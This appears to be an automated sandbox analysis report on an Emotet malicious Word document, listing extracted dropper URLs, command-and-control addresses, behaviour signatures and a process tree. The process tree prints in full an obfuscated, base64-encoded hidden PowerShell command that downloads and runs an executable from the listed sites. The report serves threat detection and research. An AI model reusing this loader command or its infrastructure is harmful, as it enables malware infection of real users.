Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    148s
  • resource
    win7v191014
  • submitted
    07-12-2019 19:57

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_bb7b9f0ff1297e6480935818da798d0f.13.doc

  • Sample

    191207-88vc9btphn

  • SHA256

    282ddf44fbb13c3ea82c1fb85e62a1db366cc254fafb1d073079b97f928d34cd

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://jdcc-stu.com/wp-includes/168386/
exe.dropper

http://stevecablestreeservice.com/y8st/w4q76/
exe.dropper

http://kaybork.com/howtos/620010/
exe.dropper

http://dayzendapparel.com/cgi-bin/091244/
exe.dropper

http://thematrix-one.info/cgi-bin/4900/

Extracted

Family

emotet

C2

47.146.42.234:80

130.45.45.31:80

200.119.11.118:443

96.126.121.64:443

104.236.137.72:8080

172.104.233.225:8080

85.234.143.94:8080

91.205.215.57:7080

62.75.160.178:8080

45.79.95.107:443

190.195.129.227:8090

159.203.204.126:8080

181.36.42.205:443

186.68.48.204:443

14.160.93.230:80

119.59.124.163:8080

87.118.70.69:8080

5.196.35.138:7080

82.8.232.51:80

203.130.0.69:80
rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Drops file in System32 directory 6 IoCs
  • Modifies registry class 136 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_bb7b9f0ff1297e6480935818da798d0f.13.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    • Suspicious use of FindShellTrayWindow
    PID:1740
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABIAGUAcAB4AGIAaAB6AHcAYgBtAGcAPQAnAFcAawBwAG8AcABxAHQAYgByAHoAJwA7ACQAUAB1AHkAdAB0AHUAagBxAHAAdQByACAAPQAgACcAOQAwADQAJwA7ACQAUQBrAGYAegBlAG8AbwB2AHcAPQAnAFMAdwBzAHIAcgBuAGgAcwB4ACcAOwAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAHUAeQB0AHQAdQBqAHEAcAB1AHIAKwAnAC4AZQB4AGUAJwA7ACQAWgBiAGIAZgBhAHIAcQBwAGYAcgBjAHUAcgA9ACcAQwBoAHIAaABwAHoAcwBrAHcAcwB5ACcAOwAkAFAAcwB2AHAAegB1AGkAaQB2AGgAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAGIAYwBMAGkARQBuAHQAOwAkAEwAbABjAHMAdAB0AHIAbABuAHYAeQBhAGYAPQAnAGgAdAB0AHAAOgAvAC8AagBkAGMAYwAtAHMAdAB1AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAxADYAOAAzADgANgAvACoAaAB0AHQAcAA6AC8ALwBzAHQAZQB2AGUAYwBhAGIAbABlAHMAdAByAGUAZQBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB5ADgAcwB0AC8AdwA0AHEANwA2AC8AKgBoAHQAdABwADoALwAvAGsAYQB5AGIAbwByAGsALgBjAG8AbQAvAGgAbwB3AHQAbwBzAC8ANgAyADAAMAAxADAALwAqAGgAdAB0AHAAOgAvAC8AZABhAHkAegBlAG4AZABhAHAAcABhAHIAZQBsAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMAA5ADEAMgA0ADQALwAqAGgAdAB0AHAAOgAvAC8AdABoAGUAbQBhAHQAcgBpAHgALQBvAG4AZQAuAGkAbgBmAG8ALwBjAGcAaQAtAGIAaQBuAC8ANAA5ADAAMAAvACcALgAiAFMAUABsAGAAaQBUACIAKAAnACoAJwApADsAJABEAHIAZgB4AHkAcgBsAGUAeQB6AD0AJwBGAGcAbQBtAHAAYwBiAGMAYQBsAGEAYQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHIAawBwAGcAdAB3AG8AYQAgAGkAbgAgACQATABsAGMAcwB0AHQAcgBsAG4AdgB5AGEAZgApAHsAdAByAHkAewAkAFAAcwB2AHAAegB1AGkAaQB2AGgALgAiAGQAbwB3AG4AYABMAG8AYQBgAEQARgBgAEkATABFACIAKAAkAE8AcgBrAHAAZwB0AHcAbwBhACwAIAAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhACkAOwAkAEcAcQBlAG0AYwBwAGcAbQBvAG0AZgB3AHoAPQAnAEQAaABkAGsAagBzAGcAeABoAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMANwAyADMAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAHIAdAAiACgAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApADsAJABTAHEAZQBoAGYAcwBmAG4AdQA9ACcARwB5AHUAeQBhAGoAZwBjAHoAbwAnADsAYgByAGUAYQBrADsAJABXAGUAagBoAHoAcwB3AHcAZwBxAHkAdQA9ACcAWAByAGcAeAB5AGoAdQBzAGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQB4AHgAawB1AGEAdABrAHcAaABkAHYAbAA9ACcAWAByAGUAcQBhAGEAYQBzAG0AbwB2AGIAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1952
    • C:\Users\Admin\904.exe
      "C:\Users\Admin\904.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:2044
      • C:\Users\Admin\904.exe
        --af9a2e1b
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Drops file in System32 directory
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:748
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "1102977607461903157-123113329-7779327265908737251670542360-14339442551971359344"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:612
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:1580
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:832
      • C:\Windows\SysWOW64\nicchunker.exe
        "C:\Windows\SysWOW64\nicchunker.exe"
        1⤵
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        PID:1036
        • C:\Windows\SysWOW64\nicchunker.exe
          --b3c37aa4
          2⤵
          • Suspicious use of SetWindowsHookEx
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Executes dropped EXE
          • Suspicious behavior: EmotetMutantsSpam
          PID:1460

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      Privilege Escalation

      Defense Evasion

      Credential Access

      Discovery

      Query Registry

      1
      T1012

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\904.exe
        Download Submit
      • C:\Users\Admin\904.exe
        Download Submit
      • C:\Users\Admin\904.exe
        Download Submit
      • C:\Windows\SysWOW64\nicchunker.exe
        Download Submit
      • C:\Windows\SysWOW64\nicchunker.exe
        Download Submit
      • memory/748-13-0x0000000000400000-0x000000000044A000-memory.dmp
        Filesize

        296KB

        Download
      • memory/748-12-0x0000000001C70000-0x0000000001C87000-memory.dmp
        Filesize

        92KB

        Download
      • memory/1036-15-0x0000000000260000-0x0000000000277000-memory.dmp
        Filesize

        92KB

        Download
      • memory/1460-17-0x00000000003A0000-0x00000000003B7000-memory.dmp
        Filesize

        92KB

        Download
      • memory/1460-18-0x0000000000400000-0x000000000044A000-memory.dmp
        Filesize

        296KB

        Download
      • memory/1740-2-0x0000000006493000-0x0000000006497000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1740-1-0x0000000006493000-0x0000000006497000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1740-3-0x0000000009030000-0x0000000009034000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1740-0-0x0000000006390000-0x0000000006394000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1740-4-0x0000000006493000-0x0000000006497000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1740-5-0x0000000006493000-0x0000000006497000-memory.dmp
        Filesize

        16KB

        Download
      • memory/2044-9-0x00000000003E0000-0x00000000003F7000-memory.dmp
        Filesize

        92KB

        Download